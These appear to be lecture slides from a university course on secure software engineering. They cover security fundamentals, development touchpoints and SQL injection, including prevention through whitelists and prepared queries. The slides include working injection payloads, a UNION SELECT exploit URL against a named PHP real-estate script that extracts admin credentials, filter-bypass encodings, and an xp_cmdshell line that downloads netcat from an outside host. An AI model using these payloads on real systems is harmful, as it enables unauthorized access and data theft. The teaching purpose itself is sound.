Secure Software Engineering
James Walden
Northern Kentucky University
Course Information
Prerequisites
CSC 540, CSC 582
Web Site
http://faculty.cs.nku.edu/~waldenj/classes/2015/spring/csc666/
Textbooks
Software Security, Gary McGraw, AddisonWesley, 2006.
Secure Programming with Static Analysis, Brian
Chess and Jacob West, Addison-Wesley, 2007.
CSC 666: Secure Software Engineering
Topics
1.
2.
3.
4.
5.
Security Concepts
The Software Security Problem
Processes and Touchpoints
Web Application Vulnerabilities
An Example Vulnerability: SQL Injection
CSC 666: Secure Software Engineering
What is Security?
Security is the prevention of certain types
of intentional actions from occurring in a
system.
 The actors who may attack a system are
threats.
 Threats carry out attacks to compromise a
system.
 Objects of attacks are assets.
The Value of a Hacked PC
http://krebsonsecurity.com/2012/10/the-scrap-value-of-a-hacked-pc-revisited/
Safety vs Security
Adversary: An intelligent attacker who
intentionally causes the system to fail.
Safety
• Home: fire alarm.
• Car: crumple zones.
• Computer: UPS.
Security
• Home: door lock.
• Car: alarm.
• Computer: Login
password.
Safety and security can interact: Who is
watching your computer room after the fire
alarm was pulled?
Components of Security
Integrity
Confidentiality
Availability
Confidentiality
Confidentiality is the avoidance of the
unauthorized disclosure of information.
Examples where confidentiality is critical:
 Personal information
 Trade secrets
 Military plans
Security Controls for Confidentiality
Access Control: rules and policies that limit
access to certain people and/or systems.
 File permissions (which users can access)
 Firewall settings (which IP addresses can
access)
Encryption: transforming information so
that it can only be read using a secret key.
 AES
 SSL
Integrity
Integrity is the property that information has
not be altered in an unauthorized way.
Examples where integrity is critical:
 Operating system files
 Software updates and downloads
 Bank account records
Security Controls for Integrity
 Backups: periodic archiving of data.
 Checksums: the computation of a
function that maps the contents of a file to
a numerical value.
 Intrusion detection: systems that look for
signatures of attacks or that verify that all
system software matches correct
checksums.
Availability
Availability is the property that information
is accessible and modifiable in a timely
fashion by those authorized to do so.
Examples where availability is critical:
 E-commerce site
 Authentication server for your network
 Current stock quotes
Security Controls for Availability
Physical protections: infrastructure meant to
keep information available even in the event of
physical challenges.
 Backup generators
 Disaster recovery site
Computational redundancies: computers and
storage devices that serve as fallbacks in the
case of failures.
 Backup tapes
 RAID
Other Security Components
Authenticity
Privacy
Non-Repudiation
States of Information
1. Storage: information in permanent
storage (disk or tape) that is not currently
being accessed.
2. Processing: information in memory (RAM
or cache) that is currently being used by a
program.
3. Transmission: information in transit
between one node and another on a
network.
Securing Information in All States
Information in Processing
Internet
Information in Transmission
Information in Storage
Traditional Security is Reactive
 Perimeter defense
(firewalls)
 Intrusion detection
(anti-virus)
 Over-reliance on
cryptography
 Penetrate and
patch
 Penetration testing
CSC 666: Secure Software Engineering
The Problem is Software
“75% of hacks happen at the application.”
- Theresa Lanowitz, Gartner Inc.
“92% of reported vulnerabilities are in apps,
not networks.”
- NIST
“64% of developers are not confident in their
ability to write secure code.”
- Bill Gates
CSC 666: Secure Software Engineering
Vulnerabilities are Common
CSC 666: Secure Software Engineering
Motivations
CSC 666: Secure Software Engineering
Trinity of Trouble
Connectivity
 Ubquitious Internet; wireless & mobile
computing.
Complexity
 Networked, distributed code that can interact
with intermediate caches, ad proxies, etc.
Extensibility
 Systems evolve in unexpected ways, e.g. web
browsers, which support many formats, addons, plugins, programming languages, etc.
CSC 666: Secure Software Engineering
SSE Objectives
1. Dependability: software functions only as
intended;
2. Trustworthiness: No exploitable vulnerabilities
or malicious logic exist in the software;
3. Resilience: If compromised, damage will be
minimized, and it will recover quickly to an
acceptable level of operating capacity;
4. Conformance: to requirements and applicable
standards and procedures.
CSC 666: Secure Software Engineering
Security Standards and Certs
 ISO 15408 Common Criteria
 PCI Data Security Standard
 Requirement 6: Develop and maintain secure
systems and applications
 SANS GIAC Secure Software Programmer
 http://www.sans-ssi.org/
 Many standards indirectly impact SSE
 FISMA
 SOX
CSC 666: Secure Software Engineering
Secure Development Processes
 CLASP (Comprehensive, Lightweight Application
Security Process)
 Correctness-by-Construction (formal methods
based process from Praxis Critical Systems)
 MS SDL (Microsoft Secure Development
Lifecycle)
 SSE CMM (Secure Software Engineering
Capability Maturity Model)
 TSP-Secure (Team Software Process for Secure
Software Development)
 Touchpoints
CSC 666: Secure Software Engineering
Software Security Practices
4. Security Testing
5. Abuse Cases
6. Security
Operations
1. Code Reviews
2. Risk Analysis
3. Penetration
Testing
Abuse
Cases
Requirements
Risk
Analysis
Design
Code Reviews +
Static Analysis
Coding
Security
Testing
Testing
CSC 666: Secure Software Engineering
Penetration
Testing
Security
Operations
Maintenance
Code Reviews
Fix implementation bugs, not design flaws.
Benefits of code reviews
1.
2.
3.
4.
Find defects sooner in the lifecycle.
Find defects with less effort than testing.
Find different defects than testing.
Educate developers about security flaws.
CSC 666: Secure Software Engineering
Architectural Risk Analysis
Fix design flaws, not implementation bugs.
Risk analysis steps
1.
2.
3.
4.
5.
6.
Develop an architecture model.
Identify threats and possible vulnerabilities.
Develop attack scenarios.
Rank risks based on probability and impact.
Develop mitigation strategy.
Report findings
CSC 666: Secure Software Engineering
Penetration Testing
Test software in deployed environment.
Allocate time at end of development to test.
• Often time-boxed: test for n days.
• Schedule slips often reduce testing time.
• Fixing flaws is expensive late in lifecycle.
Penetration testing tools
• Test common vulnerability types against
inputs.
• Fuzzing: send random data to inputs.
• Don’t understand application structure or
purpose.
CSC 666: Secure Software Engineering
Security Testing
Injection flaws,
buffer overflows,
XSS, etc.
Functional testing
will find missing
functionality.
Intendended
Functionality
Actual
Functionality
CSC 666: Secure Software Engineering
Security Testing
Two types of testing
Functional: verify security mechanisms.
Adversarial: verify resistance to attacks
generated during risk analysis.
Different from traditional penetration testing
• White box.
• Use risk analysis to build tests.
• Measure security against risk model.
CSC 666: Secure Software Engineering
Abuse Cases
Anti-requirements
Think about what software should not do.
A use case from an adversary’s point of view.
• Obtain Another User’s CC Data.
• Alter Item Price.
• Deny Service to Application.
Developing abuse cases
Informed brainstorming: attack patterns, risks.
CSC 666: Secure Software Engineering
Security Operations
User security notes
• Software should be secure by default.
• Enabling certain features may have risks.
• User needs to be informed of security risks.
Incident response
• What happens when a vulnerability is
reported?
• How do you communicate with users?
• How do you send updates to users?
CSC 666: Secure Software Engineering
Web Application Vulnerabilities
Input-based Security Problems
 Injection Flaws
 Insecure Remote File Inclusion
 Unvalidated Input
Authentication and Authorization
 Authentication
 Access Control
 Cross-Site Scripting
Other Bugs
 Error Handling and Information Leakage
 Insecure Storage
 Insecure Communications
CSC 666: Secure Software Engineering
HTTP: HyperText Transfer Protocol
Simple request/response protocol
 Request methods: GET, POST, HEAD, etc.
 Stateless: req#2 doesn’t know about req#1
HTTPS




HTTP wrapped in SSL/TLS encryption
Protects data in transit to web server.
Doesn’t protect stored data.
Doesn’t protect server from being hacked.
CSC 666: Secure Software Engineering
HTTP Request
Method
URL
Protocol Version
Headers
GET http://www.google.com/ HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Windows NT 5.1)
Gecko/20060909 Firefox/1.5.0.7
Accept: text/html, image/png, */*
Accept-Language: en-us,en;q=0.5
Cookie: rememberme=true;
PREF=ID=21039ab4bbc49153:FF=4
Blank Line
No Data for GET
CSC 666: Secure Software Engineering
HTTP POST Request
Method
URL
Protocol Version
POST http://www.example.com/ HTTP/1.1 Headers
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 5.1)
Gecko/20060909 Firefox/1.5.0.7
Accept: text/html, image/png, */*
Accept-Language: en-us,en;q=0.5
Blank Line
name=Jane+Doe&sex=female&color=green&ove
r6feet=true&over200pounds=false&athletic
ability=NA
POST data
CSC 482/582: Computer Security
Slide #36
HTTP Methods
Method
Description
GET
Retrieve resource located at specified URI.
HEAD
Retrieve metadata about resource located at specified URI. Useful for
caches to determine if they need to retrieve an updated resource.
PUT
Create or replace resource located at specified URI with resource provided
by client.
DELETE
Delete resource located at specified URI.
OPTIONS
Return list of HTTP methods that can be used with specified URI.
POST
Create a new resource under the specified URI, e.g. adding a new message
in a web forum, adding a comment to a blog post, annotating a photo, etc.
In summary, POST is a way for a client to create a new resource without
knowing its URI; the client just knows the URI of a “parent” or “factory”
resource.
CIT 480: Securing Computer Systems
HTTP Response
Protocol Version
HTTP Response Code
HTTP/1.1 200 OK
Headers
Cache-Control: private
Content-Type: text/html
Blank Server: GWS/2.1
Line Date: Fri, 13 Oct 2006 03:16:30 GMT
<HTML> ... (page data) ... </HTML>
Web Page Data
CSC 666: Secure Software Engineering
HTTP GET Parameters
http://ex.com/path/app.cgi?param1=val1&param2=val2
Format
 parameter_name=value
 Multiple parameters separated by &
URI encoding
 Encode chars as ISO-Latin hex val: %XY
 Special characters must be encoded.
 Any character may be encoded.
CSC 666: Secure Software Engineering
HTTP POST Parameters
POST /path/app.cgi HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
param1=value1&param2=value2
Format
 parameter_name=value
 Multiple parameters separated by &
URI encoding
CSC 666: Secure Software Engineering
Cookies
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: Name=Value; path=/; expires=01-Jan-2038 23:59:59UCT
GET /path/app.cgi HTTP/1.1
Host: ex.com
Cookie: Name=Value
Cookie Format
 Only sent to URLs that match path, domain.
 Sent only via SSL if secure specified.
 Expires on date or when browser closed.
CSC 666: Secure Software Engineering
Example Vulnerability: Injection
 Injection attacks trick an application into
including unintended commands in the
data send to an interpreter.
 Interpreters
 Interpret strings as commands.
 Ex: SQL, shell (cmd.exe, bash), LDAP, XPath
 Key Idea
 Input data from the application is executed as
code by the interpreter.
CSC 666: Secure Software Engineering
SQL Injection
1. App sends form to user.
2. Attacker submits form
with SQL exploit data.
3. Application builds string
with exploit data.
4. Application sends SQL
query to DB.
5. DB executes query,
including exploit, sends
data back to application.
6. Application returns data
to user.
Attacker
User ‘ or 1=1-Pass
Firewall
Web Server
CSC 666: Secure Software Engineering
DB Server
SQL Injection in PHP
$link = mysql_connect($DB_HOST, $DB_USERNAME,
$DB_PASSWORD) or die ("Couldn't connect: " .
mysql_error());
mysql_select_db($DB_DATABASE);
$query = "select count(*) from users where username =
'$username' and password = '$password'";
$result = mysql_query($query);
CSC 666: Secure Software Engineering
SQL Injection Attack #1
Unauthorized Access Attempt:
password = ’ or 1=1 --
SQL statement becomes:
select count(*) from users where username =
‘user’ and password = ‘’ or 1=1 -Checks if password is empty OR 1=1, which is
always true, permitting access.
CSC 666: Secure Software Engineering
SQL Injection Attack #2
Database Modification Attack:
password = foo’; delete from table users where
username like ‘%
DB executes two SQL statements:
select count(*) from users where username = ‘user’
and password = ‘foo’
delete from table users where username like ‘%’
CSC 666: Secure Software Engineering
Finding SQL Injection Bugs
1.
Submit a single quote as input.


2.
3.
If an error results, app is vulnerable.
If no error, check for any output changes.
Submit two single quotes.

Databases use ’’ to represent literal ’

If error disappears, app is vulnerable.
Try string or numeric operators.
 Oracle: ’||’FOO
 MS-SQL: ‘+’FOO
 MySQL: ’ ’FOO
 2-2
 81+19
 49-ASCII(1)
CSC 666: Secure Software Engineering
2008 Mass SQL Injection Attacks
 Estimated 1.5 million pages compromised.
 Methodology
 Identify vulnerable web applications.
 Use xp_cmdshell on MS SQL to download
tools to compromised MS SQL server.
 Use fgdump to obtain Windows credentials.
 Install backdoors that periodically contact their
command & control servers.
 Search for credit cards or brute force
passwords.
CSC 666: Secure Software Engineering
Real Estate Site Hacking
Exploit against http://phprealestatescript.com/
www.website.com/fullnews.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,
char(58),password),4,5/**/FROM/**/admin/*
CSC 666: Secure Software Engineering
The Problem: String Building
Building a SQL command string with user
input in any language is dangerous.
• Variable interpolation.
• String concatenation with variables.
• String format functions like sprintf().
• String templating with variable replacement.
CSC 666: Secure Software Engineering
Mitigating SQL Injection
Partially Effective Mitigations
Blacklists
Stored Procedures
Effective Mitigations
Whitelists
Prepared Queries
CSC 666: Secure Software Engineering
Ineffective Mitigation: Blacklist
Filter out known bad SQL metacharacters,
such as single quotes.
Problems:
1.
2.
3.
4.
Numeric parameters don’t use quotes.
URL escaped metacharacters.
Unicode encoded metacharacters.
Did you miss any metacharacters?
CSC 666: Secure Software Engineering
Bypassing Blacklist Filters
Different case
SeLecT instead of SELECT or select
Bypass keyword removal filters
SELSELECTECT
URL-encoding
%53%45%4C%45%43%54
SQL comments
SELECT/*foo*/num/*foo*/FROM/**/cc
SEL/*foo*/ECT
String Building
‘us’||’er’
chr(117)||chr(115)||chr(101)||chr(114)
CSC 666: Secure Software Engineering
Ineffective Mitigation: Stored Procedures
SQL Stored Procedures build strings too:
CREATE PROCEDURE dbo.doQuery(@id nchar(128)
AS
DECLARE @query nchar(256)
SELECT @query = ‘SELECT cc FROM cust WHERE id=‘’’ + @id + ‘’’’
EXEC @query
RETURN
and they can be invoked insecurely with user input:
exec sp_login ‘user’ ‘foo’; master..xp_cmdshell ‘tftp e.com GET nc.exe’#
CSC 666: Secure Software Engineering
Mitigation: Whitelist
Reject input that doesn’t match your list
of safe characters to accept.
 Identify what’s good, not what’s bad.
 Reject input instead of attempting to repair.
 Still have to deal with single quotes when
required, such as in names.
CSC 666: Secure Software Engineering
Mitigation: Prepared Queries
require_once 'MDB2.php';
$mdb2 =& MDB2::factory($dsn, $options);
if (PEAR::isError($mdb2)) {
die($mdb2->getMessage());
}
$sql = “SELECT count(*) from users where username = ? and
password = ?”;
$types = array('text', 'text');
$sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP);
$data = array($username, $password);
$sth->execute($data);
CSC 666: Secure Software Engineering
Key Points
 The Trinity of Trouble
 SSE Goals




Dependability
Trustworthiness
Resilience
Conformance
 Touchpoints






Code Reviews
Risk Analysis
Penetration Testing
Security Testing
Abuse Cases
Security Operations
CSC 666: Secure Software Engineering
Key Points
 Components of Security






Confidentiality
Integrity
Availability
Authenticity
Non-Repudiation
Privacy
 Injection Vulnerabilities
 Problem: Input data to application executed as code
by a third party component, such as a command shell
or database.
 Mitigations:
- Avoid using an interpreter (complete mitigation).
- Whitelist validation (effective mitigation)
- Blacklist validation (ineffective mitigation)
CSC 666: Secure Software Engineering
References
1.
2.
3.
4.
5.
6.
7.
Brian Chess and Jacob West, Secure Programming with Static
Analysis, Addison-Wesley, 2007.
CLASP, OWASP CLASP Project,
http://www.owasp.org/index.php/Category:OWASP_CLASP_Proje
ct, 2008.
Noopur Davis et. al., Processes for Producing Secure Software.
IEEE Security & Privacy, May 2004.
Karen Goertzel, Theodore Winograd, et al. for Department of
Homeland Security and Department of Defense Data and
Analysis Center for Software. Enhancing the Development Life
Cycle to Produce Secure Software: A Reference Guidebook on
Software Assurance, October 2008.
Michael Howard and Steve Lipner, The Security Development
Lifecycle, Microsoft Press, 2006.
Michael Howard, “SAFECode: Fundamental Processes for
Secure Software Development,”
http://www.safecode.org/publications/SAFECode_Dev_Practices1
008.pdf, October 2008.
Gary McGraw, Software Security, Addison-Wesley, 2006.
CSC 666: Secure Software Engineering
Descargar

Security of Electronic Voting